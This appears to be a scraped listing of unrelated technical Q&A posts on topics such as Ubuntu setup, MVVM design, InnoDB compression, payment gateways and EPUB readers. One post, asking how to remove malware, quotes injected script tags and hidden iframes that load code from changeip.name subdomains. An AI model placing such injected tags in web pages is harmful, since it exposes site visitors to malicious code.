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  • Configuring mouse buttons to switch between apps?

    - by Matt Gregory
    I just installed 14.04, so I'm using the default setup (Unity, I guess). I have these two extra mouse buttons on the side of my mouse. Is there any way to map these so they can switch between open apps? What would be perfect is if clicking on button 6 (or whatever it is) would cycle forward through apps, button 7 would go backwards, and holding one of the buttons would show the task list and let you click on the app you want. That's really what I want.

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  • How to make creating viewmodels at runtime less painful

    - by Mr Happy
    I apologize for the long question, it reads a bit as a rant, but I promise it's not! I've summarized my question(s) below In the MVC world, things are straightforward. The Model has state, the View shows the Model, and the Controller does stuff to/with the Model (basically), a controller has no state. To do stuff the Controller has some dependencies on web services, repository, the lot. When you instantiate a controller you care about supplying those dependencies, nothing else. When you execute an action (method on Controller), you use those dependencies to retrieve or update the Model or calling some other domain service. If there's any context, say like some user wants to see the details of a particular item, you pass the Id of that item as parameter to the Action. Nowhere in the Controller is there any reference to any state. So far so good. Enter MVVM. I love WPF, I love data binding. I love frameworks that make data binding to ViewModels even easier (using Caliburn Micro a.t.m.). I feel things are less straightforward in this world though. Let's do the exercise again: the Model has state, the View shows the ViewModel, and the ViewModel does stuff to/with the Model (basically), a ViewModel does have state! (to clarify; maybe it delegates all the properties to one or more Models, but that means it must have a reference to the model one way or another, which is state in itself) To do stuff the ViewModel has some dependencies on web services, repository, the lot. When you instantiate a ViewModel you care about supplying those dependencies, but also the state. And this, ladies and gentlemen, annoys me to no end. Whenever you need to instantiate a ProductDetailsViewModel from the ProductSearchViewModel (from which you called the ProductSearchWebService which in turn returned IEnumerable<ProductDTO>, everybody still with me?), you can do one of these things: call new ProductDetailsViewModel(productDTO, _shoppingCartWebService /* dependcy */);, this is bad, imagine 3 more dependencies, this means the ProductSearchViewModel needs to take on those dependencies as well. Also changing the constructor is painful. call _myInjectedProductDetailsViewModelFactory.Create().Initialize(productDTO);, the factory is just a Func, they are easily generated by most IoC frameworks. I think this is bad because Init methods are a leaky abstraction. You also can't use the readonly keyword for fields that are set in the Init method. I'm sure there are a few more reasons. call _myInjectedProductDetailsViewModelAbstractFactory.Create(productDTO); So... this is the pattern (abstract factory) that is usually recommended for this type of problem. I though it was genius since it satisfies my craving for static typing, until I actually started using it. The amount of boilerplate code is I think too much (you know, apart from the ridiculous variable names I get use). For each ViewModel that needs runtime parameters you'll get two extra files (factory interface and implementation), and you need to type the non-runtime dependencies like 4 extra times. And each time the dependencies change, you get to change it in the factory as well. It feels like I don't even use a DI container anymore. (I think Castle Windsor has some kind of solution for this [with it's own drawbacks, correct me if I'm wrong]). do something with anonymous types or dictionary. I like my static typing. So, yeah. Mixing state and behavior in this way creates a problem which don't exist at all in MVC. And I feel like there currently isn't a really adequate solution for this problem. Now I'd like to observe some things: People actually use MVVM. So they either don't care about all of the above, or they have some brilliant other solution. I haven't found an in-depth example of MVVM with WPF. For example, the NDDD-sample project immensely helped me understand some DDD concepts. I'd really like it if someone could point me in the direction of something similar for MVVM/WPF. Maybe I'm doing MVVM all wrong and I should turn my design upside down. Maybe I shouldn't have this problem at all. Well I know other people have asked the same question so I think I'm not the only one. To summarize Am I correct to conclude that having the ViewModel being an integration point for both state and behavior is the reason for some difficulties with the MVVM pattern as a whole? Is using the abstract factory pattern the only/best way to instantiate a ViewModel in a statically typed way? Is there something like an in depth reference implementation available? Is having a lot of ViewModels with both state/behavior a design smell?

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  • Support / Maintenance documentation for development team

    - by benwebdev
    Hi, I'm working in the Development dept (around 40 developers) for a large E-Commerce company. We've grown quickly but have not evolved very well in the field of documenting our work. We work with an Agile / Scrum-like methodology with our development and testing but documentation seems to be neglected. We need to be able to make documentation that would aid a developer who hasnt worked on our project before or was new to the company. We also have to create more high level information for our support department to explain any extra config settings and fixes of known issues that may arise, if any. Currently we put this in a badly put together wiki, based on an old Sharepoint / TFS site. Can anyone suggest some ideal links or advice on improving the documentation standard? What works in other companies? Has anyone got avice on developing documentation as part of an agile process? Many thanks, ben

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  • InnoDB Compression Improvements in MySQL 5.6

    - by Inaam Rana
    MySQL 5.6 comes with significant improvements for the compression support inside InnoDB. The enhancements that we'll talk about in this piece are also a good example of community contributions. The work on these was conceived, implemented and contributed by the engineers at Facebook. Before we plunge into the details let us familiarize ourselves with some of the key concepts surrounding InnoDB compression. In InnoDB compressed pages are fixed size. Supported sizes are 1, 2, 4, 8 and 16K. The compressed page size is specified at table creation time. InnoDB uses zlib for compression. InnoDB buffer pool will attempt to cache compressed pages like normal pages. However, whenever a page is actively used by a transaction, we'll always have the uncompressed version of the page as well i.e.: we can have a page in the buffer pool in compressed only form or in a state where we have both the compressed page and uncompressed version but we'll never have a page in uncompressed only form. On-disk we'll always only have the compressed page. When both compressed and uncompressed images are present in the buffer pool they are always kept in sync i.e.: changes are applied to both atomically. Recompression happens when changes are made to the compressed data. In order to minimize recompressions InnoDB maintains a modification log within a compressed page. This is the extra space available in the page after compression and it is used to log modifications to the compressed data thus avoiding recompressions. DELETE (and ROLLBACK of DELETE) and purge can be performed without recompressing the page. This is because the delete-mark bit and the system fields DB_TRX_ID and DB_ROLL_PTR are stored in uncompressed format on the compressed page. A record can be purged by shuffling entries in the compressed page directory. This can also be useful for updates of indexed columns, because UPDATE of a key is mapped to INSERT+DELETE+purge. A compression failure happens when we attempt to recompress a page and it does not fit in the fixed size. In such case, we first try to reorganize the page and attempt to recompress and if that fails as well then we split the page into two and recompress both pages. Now lets talk about the three major improvements that we made in MySQL 5.6.Logging of Compressed Page Images:InnoDB used to log entire compressed data on the page to the redo logs when recompression happens. This was an extra safety measure to guard against the rare case where an attempt is made to do recovery using a different zlib version from the one that was used before the crash. Because recovery is a page level operation in InnoDB we have to be sure that all recompress attempts must succeed without causing a btree page split. However, writing entire compressed data images to the redo log files not only makes the operation heavy duty but can also adversely affect flushing activity. This happens because redo space is used in a circular fashion and when we generate much more than normal redo we fill up the space much more quickly and in order to reuse the redo space we have to flush the corresponding dirty pages from the buffer pool.Starting with MySQL 5.6 a new global configuration parameter innodb_log_compressed_pages. The default value is true which is same as the current behavior. If you are sure that you are not going to attempt to recover from a crash using a different version of zlib then you should set this parameter to false. This is a dynamic parameter.Compression Level:You can now set the compression level that zlib should choose to compress the data. The global parameter is innodb_compression_level - the default value is 6 (the zlib default) and allowed values are 1 to 9. Again the parameter is dynamic i.e.: you can change it on the fly.Dynamic Padding to Reduce Compression Failures:Compression failures are expensive in terms of CPU. We go through the hoops of recompress, failure, reorganize, recompress, failure and finally page split. At the same time, how often we encounter compression failure depends largely on the compressibility of the data. In MySQL 5.6, courtesy of Facebook engineers, we have an adaptive algorithm based on per-index statistics that we gather about compression operations. The idea is that if a certain index/table is experiencing too many compression failures then we should try to pack the 16K uncompressed version of the page less densely i.e.: we let some space in the 16K page go unused in an attempt that the recompression won't end up in a failure. In other words, we dynamically keep adding 'pad' to the 16K page till we get compression failures within an agreeable range. It works the other way as well, that is we'll keep removing the pad if failure rate is fairly low. To tune the padding effort two configuration variables are exposed. innodb_compression_failure_threshold_pct: default 5, range 0 - 100,dynamic, implies the percentage of compress ops to fail before we start using to padding. Value 0 has a special meaning of disabling the padding. innodb_compression_pad_pct_max: default 50, range 0 - 75, dynamic, the  maximum percentage of uncompressed data page that can be reserved as pad.

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  • grub/burg listing a lot of os's

    - by Matthew
    I guess I've got more than one ubuntu installation (either two or three) along with a windows 7 installation. Each of the ubuntu installations also list something extra (maybe like a safe mode?) within grub. Firstly, how do I remove the ubuntu installations I don't use? (how do I first identify the one I do use? I log into it after booting it, but how do I delete the others) Also, how do I leave just a Windows 7 option and an Ubuntu option?

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  • What payment gateways fit my website?

    - by Amr ElGarhy
    I am building an image hosting website and users will pay for extra storage, this means that for example: each 1GB over the first 3GB, I will charge the user for some money per GB. I want to integrate in my website a payment way so that I can let the users pay through and also let me to collect these money later either getting them through ATM or to get it in my bank account. I can't user paypal because it is not working in my country Egypt. Can you advice me with a service and some tips about how users will pay and how I will get the money from.

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  • ISO checksum menu in nautilus

    - by dellphi
    I'm using Ubuntu 11.10 x64, Unity, and Nautilus 3.2.1 I want to be able to perform checksum ISO in Nautilus. I have searched and found: http://www.addictivetips.com/ubuntu-linux-tips/nautilus-actions-extra-add-more-features-to-ubuntu-context-menu/ and perform the procedures written in it. Once completed, the other menus appear, except the menu for "checksum verification". Then, when I run gksu nautilus-actions-config-tool I just asked to enter a user password, and .... nothing happens. What should I do, to bring up the "checksum verification" menu? I am very grateful for any response or advice given.

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  • Software development life cycle in the industry

    - by jiewmeng
    I am taking a module called "Requirements Analysis & Design" in a local university. Common module, I'd say (on software development life cycle (SDLC) and UML). But there is a lot of things I wonder if they are actually (strictly) practiced in the industry. For example, will a domain class diagram, an not anything extra (from design class), be strictly the output from Analysis or Discovery phase? I'm sure many times you will think a bit about the technical implementation too? Else you might end up with a design class diagram later that is very different from the original domain class diagram? I also find it hard to remember what diagrams are from Initiation, Discovery, Design etc etc. Plus these phases vary from SDLC to SDLC, I believe? So I usually will create a diagram when I think will be useful. Is it the wrong way?

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  • How to gain Professional Experience in Java/Java EE Development

    - by Deepak Chandrashekar
    I have been seeing opportunities go past me for just 1 reason: not having professional industry experience. I say to many employers that I'm capable of doing the job and show them the work I've done during the academics and also several personal projects which I took extra time and effort to teach myself the new industry standard technologies. But still, all they want is some 2-3 years experience in an industry. I'm a recent graduate with a Master's Degree in Computer science. I've been applying for quite a few jobs and most of these jobs require 2 years minimum experience. So, I thought somebody here might give me some realistic ideas about getting some experience which can be considered professional. Any kind of constructive comments are welcome.

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  • No OpenCL devices (13.10 Core I5 4430 Intel Graphics HD)

    - by Itai Bar-Haim
    I've been looking quite a lot for this but couldn't find anything that worked. I have an Intel Core I5-4430 based system with no extra graphics adapter (so it's using the on-board, integrated Intel Graphics HD that is part of the CPU), running Ubuntu 13.10. When running BOINC World Community Grid it says "No usable GPUs". When running a bitcoin mining program it says "No OpenCL devices". I searched the web, found two possible solutions - one was to use the Intel OpenCL driver for Xeon platforms, the other was to use the AMD driver. Tried both. I failed installing the Intel driver as there were too many prerequisites that I just didn't manage to install, and the AMD installation was quite fast to its size (it's 200MB, and took far less than a minute to install), but it didn't solve the problem. Perhaps I'm looking in the wrong direction here, I'm not sure, but is there anyway I can utilize the advance features of my CPU for those distributed computation programs?

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  • How can I implement an EPUB reader in JavaScript?

    - by Vlad Nicula
    I'm wondering if I can create an EPUB (free and open e-book standard) reader in JavaScript. The basic requirements would be: Server parts of the EPUB reader from a server API. Read the EPUB data in JavaScript. Render it on page. Provide some extra functionality, like text highlights or page notes. I have no information about how I could do this. I'm willing to try a prototype project. What are the steps that I could take towards implementing such a thing?

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  • Is functional programming a superset of object oriented?

    - by Jimmy Hoffa
    The more functional programming I do, the more I feel like it adds an extra layer of abstraction that seems like how an onion's layer is- all encompassing of the previous layers. I don't know if this is true so going off the OOP principles I've worked with for years, can anyone explain how functional does or doesn't accurately depict any of them: Encapsulation, Abstraction, Inheritance, Polymorphism I think we can all say, yes it has encapsulation via tuples, or do tuples count technically as fact of "functional programming" or are they just a utility of the language? I know Haskell can meet the "interfaces" requirement, but again not certain if it's method is a fact of functional? I'm guessing that the fact that functors have a mathematical basis you could say those are a definite built in expectation of functional, perhaps? Please, detail how you think functional does or does not fulfill the 4 principles of OOP.

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  • How to remove this malware

    - by muratto12
    Some files in my site contains some extra lines. After I've deleted them manually, I find them corrupted again some time later. it is all coming from http://*.changeip.name/ some js files. How can I remove them? <!--pizda--><script type='text/javascript' src='http://m2.changeip.name/validate.js?ftpid=15035'></script><!--/pizda--> <iframe src=http://pizda.changeip.name/?f=1065433 framebor der=0 marginheight=0 marginwidth=0 scrolling=0 width=5 heigh t=5 border=0> <iframe src=http://kuku.changeip.name/?f=1065433 framebord er=0 marginheight=0 marginwidth=0 scrolling=0 width=5 height =5 border=0>

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  • Do Apple and Google ask for a share if custom payment is done in a free app?

    - by user1590354
    I have a multiplatform game (web/iOS/Android) in the making. In the free version the core game is still fully playable but people who choose to pay will get more social features (and no ads, of course). I was thinking that rather than having a free and a paid version for all the platforms I may release the apps just for free and if the users want more, they have to register and pay a one-time fee (through a payment gateway or PayPal). The extra content would then be available in all the clients they have access to. Theoretically, this means a better value for the players and less maintenance and headache for me (obviously I have to handle all the payment troubles myself). Does it fit into the business model of Apple/Google? Or will they still claim their share of the registration fee?

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  • How can I implement a Epub Reader in Javascript

    - by Vlad Nicula
    I'm wondering if I can create a epub reader in javascript. The basic requirements would be: 1) Server parts of the epub reader from a server API. 2) Read the EPUB data in javascript. 3) Render it on page. 4) Provide some extra functionality, like text highlights or page notes. I have no information about how I could do this. I'm willing to try a prototype project. What are the steps that I could take towards implementing such a thing?

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  • Next in Concurrency

    - by Jatin
    For past year I have been working a lot on concurrency in Java and have build and worked on many concurrent packages. So in terms of development in the concurrent world, I am quite confident. Further I am very much interested to learn and understand more about concurrent programming. But I am unable to answer myself what next? What extra should I learn or work on to inherit more skills related to Multi-core processing. If there is any nice book (read and enjoyed 'concurrency in practice' and 'concurrent programming in java') or resource's related to Multi-core processing so that I can go to the next level?

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  • Angry Birds Seasons Free Until 7/12

    - by Jason Fitzpatrick
    iOS: Angry Birds Seasons is free until Thursday of this week–grab a copy to check out the new summer addition free of charge: Piglantis. In an ever expanding bid to add extra life to the physics-based game, the newest expansion features water-based puzzles and scenery mixed in with that bird-to-pig smashing action beloved by millions of mobile gamers. Grab a copy for your iPhone or iPad for free until Thursday. [via CNet] How to Use an Xbox 360 Controller On Your Windows PC Download the Official How-To Geek Trivia App for Windows 8 How to Banish Duplicate Photos with VisiPic

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  • How can I host a website on a dynamically-assigned IP address?

    - by nick
    I recently upgraded my internet to the point that it is much faster and more reliable than my current webhost. I would like to move my current domain to be hosted at home, but my IP address is dynamic. As far as I know, I only get a new IP when I restart my modem and or router (which is almost never) or when cable one (my ISP) pushes out a firmware update (rarely). There are a few ways I can see doing this: Convince my ISP to give me a static IP Assign my router my current IP to force a static IP (which might work?) Set my DNS record to my current IP address and update it on the rare occasions that it changes. Obviously I'm hoping that the first one works, but I don't want to pay a lot of extra money (if that's what it takes) to get a static IP address. Which of these options will work most reliably?

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  • Daylight saving time: Annoying and pointless [closed]

    - by polemon
    Daylight saving time is a big annoyance for me. Not just from the standpoint, that I never know when we set our clocks an hour ahead or an hour back. Setting the clock ahead or back disturbs my time organization, and is responsible for my bad mood around that day. From the standpoint of a programmer, it's no less annoying. you always have to check whether it isn't "that date" in the year, when you have to work with local time. I hear people have the same views on this that I have. also, I don't see any benefits from it. The supposedly added "extra hour" of sunlight; I don't feel that. In case you live in a region where daylight savings is observed (like in Germany, where I live), please tell me how you manage the annoyances that come with it, and (if possible) how to get rid of it, once and for all...

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  • Kindle Paperwhite Jailbroken; Ready for Custom Screensavers

    - by Jason Fitzpatrick
    If you’re already longing for some custom screensavers on your new Kindle Paperwhite, you’re in luck. The new Kindle has been jailbroken, opening it up to all sorts of custom hacks and modifications. For extra guidance on what to do once you’ve jailbroken, check out our guide to adding the screensaver hack and creating/adding screensaver images–make sure to grab the updated screensaver hack while you’re at it. Kindle 5.1.x Jailbreak [via Hack A Day] 7 Ways To Free Up Hard Disk Space On Windows HTG Explains: How System Restore Works in Windows HTG Explains: How Antivirus Software Works

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  • Getting Wacom Bamboo Pen + Touch pressure sensitivy in GIMP

    - by Bart van Heukelom
    I've installed my Wacom Bamboo Pen + Touch (CTH-460) in Ubuntu (at least on one system, not another) and the pen works well for controlling the mouse cursor. However, I can't get pressure sensitivity to work in GIMP. I have 4 extra devices in the input devices settings screen now, two of which are the pen and eraser. I've set them both from Disabled to Screen, and left the default settings intact. However, after saving I still don't see any pressure options in the brush tool's options. I've also tried setting the mode to Window instead, but it makes no difference regarding pressure sensitivity. There are no other modes. The pressure works out-of-the-box in Blender (grease pen) so it must be something in GIMP. What can be wrong? Why don't the options appear? How can I debug this?

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  • Can't enable Bluetooth 13.10

    - by user205872
    I'm a new user to Ubuntu. I previously installed Xubuntu 13.04 on my Compaq nx8420 and was able to use Bluetooth with no issues. I recently performed a clean install of Ubuntu 13.10 (not Xubuntu), and now can't enable bluetooth. I go to the default Bluetooth app, move the slider to 'On' and it slides straight back to 'Off'. Do I need to install any extra packages or use an alternative app to get Bluetooth working? I can't think of a reason why it would work in Xubuntu 13.04, but not Ubuntu 13.10. Thanks in advance for any help. Zac

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  • Should programming languages be strict or loose?

    - by Ralph
    In Python and JavaScript, semi-colons are optional. In PHP, quotes around array-keys are optional ($_GET[key] vs $_GET['key']), although if you omit them it will first look for a constant by that name. It also allows 2 different styles for blocks (colon, or brace delimited). I'm creating a programming language now, and I'm trying to decide how strict I should make it. There are a lot of cases where extra characters aren't really necessary and can be unambiguously interpreted due to priorities, but I'm wondering if I should still enforce them or not to encourage good programming habits. What do you think?

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  • Which programming language to develop software for USC that also runs on other OS?? (WINDOWS/OSX)

    - by Marian Lux
    I have skills in JAVA and C#: First i had a closer look to JAVA (Eclipse with Windowbuilder-Plugin) - Swing: But there is no natvie GUI-Support for GTK3 (e.g., HUD seems not to work) Then i was at JAVA - SWT: It is to heavy. I want do code a small app that improves the Ubuntu desktop. I don't want to ship a program with eclipse included. After that i found C# Mono (Monodevelop): GTK-shparp is only for GTK2 available. A GTK3-port will come soon but is it possible to convert the program from GTK2 to GTK3 without extra adaptations? The next bad thing is, that MONO is now dropped from Ubuntu LTS 12.04. So i have no chance that my app would be a default-app in an Ubuntu-Image. (This is also a factor for me to choose a programming language). I know there are other techs but i want to use as programing language JAVA or C#.

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  • Remove Duplicate Second Unity Launcher on Dual Screen

    - by Eugene van der Merwe
    See attached image. On my dual screen display I have a Unity Launcher on the left hand screen and also on the right hand screen. Both work perfectly fine. I don't want two Unity Launchers. Every time I move my house to the right hand side it gets slowed down over the right launcher hampering my productivity. I have an Nvidia card with the Nvidia driver and I am using TwinView. Could somebody please tell me how to remove this extra duplicated launcher?

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